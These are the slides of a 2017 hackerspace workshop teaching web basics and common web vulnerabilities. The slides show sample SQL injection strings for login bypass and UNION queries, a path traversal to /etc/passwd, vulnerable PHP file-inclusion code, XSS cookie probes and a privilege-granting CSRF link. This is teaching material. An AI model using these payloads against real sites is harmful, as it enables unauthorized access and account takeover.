

# Web Hacking

Bitlair Workshop

April 29, 2017

## Before we begin

Drinks can be bought at the bar

- Deposit 5 YOURNAME (to deposit 5 euro)
- Yes, you want to create an account
- To buy an item:
- SCAN ITEM
- YOURNAME

# Table of contents

- 1 How the web works
- 2 Web sessions
- 3 SQL
- 4 File inclusion
- 5 HTML encoding
- 6 CSRF

## What we'll cover

- How the web works (HTTP)
- HTML forms
- SQL
- Vulnerabilities

Let's start with some basics...

## What happens when..

Browsing to <https://bitlair.nl/Workshops>

- Domain name system lookup bitlair.nl
- Get back IP 2001:470:d1e7:1337:5054:ff:fe49:a94
- Connect to 2001:470:d1e7:1337:5054:ff:fe49:a94
- Set up secure connection (S part of HTTPS)
- Do a GET request for the /Workshops page

## What happens when..

### Anatomy of

<https://bitlair.nl/index.php?title=Hoofdpagina&action=edit>

- Protocol: https
- Host: bitlair.nl
- Request URI: /index.php?title=Hoofdpagina&action=edit
- File/Script Name: /index.php
- Query String: title=Hoofdpagina&action=edit

## Basic HTML

```
<!DOCTYPE html>
<html>
<head>
  <title>Your favourite web site</title>
<body>
<h1>Big header</h1>
<ul>
<li><a href="http://www.google.nl/">Google</a>
<li><a href="https://bitlair.nl/">Bitlair</a>
</ul>
</body>
</html>
```



## HTML forms

```
<form method="POST" action="/index.php?a=b&b=a">  
  <table>  
    <tr>  
      <td>Username:</td>  
      <td><input name="username" type="text"></td>  
    </tr>  
    <tr>  
      <td>Password:</td>  
      <td><input name="password" type="password"></td>  
    </tr>  
  </table>  
  <input type="submit" value="Log me in">  
</form>
```

## GET requests vs POST

```
GET /index.php?title=Hoofdpagina&action=edit HTTP/1.1  
Host: bitlair.nl  
<empty line>
```

```
Response from server:  
HTTP/1.1 200 OK  
Content-Length: 739  
Content-Type: text/html; charset=utf-8  
<empty line>
```

```
<!DOCTYPE html>....
```

# POST

```
POST /index.php?title=Hoofdpagina&action=edit HTTP/1.1
Host: bitlair.nl
<empty line>
content=Haha%20pagina%20overschreven&save=true
```

```
Response from server:
HTTP/1.1 200 OK
Content-Length: 739
Content-Type: text/html; charset=utf-8
<empty line>
```

```
<!DOCTYPE html>....
```

# Web sessions

# Cookies

HTTP has no state between requests. But you can get the browser to store some data.

- State can be stored in cookies.
- Cookies are headers in HTTP, like the Content-Length
- It is often used to store session IDs
- Match what the client sent as session ID to see if that session is logged in

## Example login session

- GET login page /login.php
- Server gives login page with Set-Cookie: SESSIONID=xxxxxxx
- POST login page with username=xxx&password=xxx
- Server sets authenticated flag in session to true
- GET admin page /admin.php
- Server gives admin page because authenticated flag is true

# SQL

# SQL

# SQL

id	news
1	AMERSFOORT Today we witnessed ...
2	AMSTERDAM It was an historic eve...



# SQL

```
SELECT * FROM news WHERE id=1
```

# SQL

id	username	password
1	wilco	jeraadthetnooit
2	nemo	1337h4xx

# SQL

```
SELECT password FROM users WHERE username='wilco'
```

## SQL anatomy

```
SELECT field FROM table WHERE condition  
ORDER BY field ASC LIMIT 1
```

## SQL comments - MySQL

```
SELECT password # Password field
FROM users      # Users table
WHERE id=1      # User id 1
ORDER BY id ASC # Sort by id, ascending
LIMIT 1         # Only return 1 record
;               # End of query
```

## SQL comments - MS/Oracle

```
SELECT password -- Password field
FROM users      -- Users table
WHERE id=1      -- User id 1
ORDER BY id ASC -- Sort by id, ascending
LIMIT 1        -- Only return 1 record
;              -- End of query
```

## Troubles with SQL

- Enumeration (e.g. ?id=1 .. try id=2 and 3)
- SQL Injection

Enumeration is how the Dutch miljoenennota has leaked for years on end

## SQL injection

```
SELECT id FROM users WHERE username='$INPUT$' AND  
password='$INPUT$'
```



# SQL injection

```
SELECT id FROM users  
WHERE username='' OR 1=1 #' and password=''
```

## SQL injection

```
SELECT password FROM users WHERE username=' $INPUT$ '
```

## SQL injection

```
SELECT password FROM users  
WHERE username='' AND 1=0 UNION SELECT 'mypass' #'
```

## Hacking time

# Hacking time

## File inclusion

# File inclusion

# PHP

PHP scripts run server side. It looks like this:

```
<body>
...
<div id="content">
<?php
echo file_get_contents(
    "content/" . $_GET['c']
);
?>
</div></body></html>
```

# PHP

- Any query string argument goes to `$_GET['xxx']`
- Any POST data argument goes to `$_POST['xxx']`
- Any cookie goes to `$_COOKIE['xxx']`
- HTTP server data goes to `$_SERVER['xxx']`  
e.g. `$_SERVER['QUERY_STRING']`

## File inclusion

Generic page, but content section is different.

```
<body>
...
<div id="content">
<?php
echo file_get_contents(
    "content/" . $_GET['c']
);
?>
</div></body></html>
```



## Path traversal

Troubles? How about including ../../../../etc/passwd? or index.php?

```
<body>
...
<div id="content">
<?php
echo file_get_contents(
    "content/" . $_GET['c']
);
?>
</div></body></html>
```

## Hacking time

# Hacking time

## HTML encoding

# HTML encoding

# HTML encoding

What if the included section contains something like `b<a`, then...

```
<!DOCTYPE html >  
<html >  
<head><title>Faulty HTML</title></head>  
<body >  
b<a  
</body >  
</html >
```

# HTML encoding

Or worse..

```
<!DOCTYPE html>
<html>
<head><title>Evil HTML</title></head>
<body>
b<meta http-equiv="Refresh"
    content="0;url=http://www.google.nl">
</body>
</html>
```

## PHP HTML encoding

In PHP you would call `htmlspecialchars($content)`

```
<!DOCTYPE html >
<html >
<head><title>Correct HTML</title></head>
<body >
b<lt;a
</body >
</html >
```

# Javascript

- In HTML, using script tags, you can add dynamic elements.
- `<script type="text/javascript">...</script>`

## Javascript unencoded

What if that is included?

```
<!DOCTYPE html>  
<html>  
<head><title>Evil HTML</title></head>  
<body>  
<script>alert(document.cookie);</script>  
</body>  
</html>
```



# XSS

# XSS

# XSS

## Cross Site Scripting

- Basically HTML inclusion from user input
- But also javascript!

# XSS

## Cross Site Scripting Variations

- Simple XSS: XSS from user input
- Stored XSS

# XSS

## Stored XSS: Stored Cross Site Scripting

- Input is unvalidated and stored to database
- Data is retrieved from database and not HTML encoded

# XSS

## Example: Cookie stealer

```
<!DOCTYPE html>
<html>
<head><title>Evil HTML</title></head>
<body>
<script>
document.write(
    ''
);
</script>
</body>
</html>
```

## Hacking time

# Hacking time

# CSRF

# CSRF / XSRF

# CSRF

## Cross Site Request Forgery

- Sending a link to a privileged user that performs an unintended action
- e.g: Sending a link that makes user guest an admin user



# CSRF

## Cross Site Request Forgery Example

```
https://admin.somethingimportant.nl/edituser.php \
?username=guest&isadmin=true&save=true
```